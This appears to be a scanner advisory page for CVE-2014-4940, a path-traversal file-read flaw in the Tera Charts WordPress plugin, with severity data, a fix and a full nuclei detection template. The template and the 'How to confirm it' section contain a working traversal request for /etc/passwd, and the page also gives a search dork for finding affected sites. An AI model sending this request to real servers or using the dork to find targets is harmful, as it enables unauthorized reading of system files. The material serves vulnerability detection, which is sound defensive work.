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CVE-2014-4940· tera charts plugin project / tera-charts· CWE-22

WordPress Plugin Tera Charts - Local File Inclusion

mediumseverity
5CVSS score
19.3%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

Multiple local file inclusion vulnerabilities in Tera Charts (tera-charts) plugin 0.1 for WordPress allow remote attackers to read arbitrary files via a .. (dot dot) in the fn parameter to (1) charts/treemap.php or (2) charts/zoomabletreemap.php.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server.

Fix

Update to the latest version of the Tera Charts plugin to fix the local file inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2014-4940 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2014-4940

info:
  name: WordPress Plugin Tera Charts - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Multiple local file inclusion vulnerabilities in Tera Charts (tera-charts) plugin 0.1 for WordPress allow remote attackers to read arbitrary files via a .. (dot dot) in the fn parameter to (1) charts/treemap.php or (2) charts/zoomabletreemap.php.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Update to the latest version of the Tera Charts plugin to fix the local file inclusion vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4940
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=851874%40tera-charts&old=799253%40tera-charts&sfp_email=&sfph_mail=
    - http://codevigilant.com/disclosure/wp-plugin-tera-chart-local-file-inclusion/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-4940
    cwe-id: CWE-22
    epss-score: 0.1927
    epss-percentile: 0.97361
    cpe: cpe:2.3:a:tera_charts_plugin_project:tera-charts:0.1:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: tera_charts_plugin_project
    product: tera-charts
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/tera-charts"
  tags: cve2014,cve,wordpress,wp-plugin,lfi,tera_charts_plugin_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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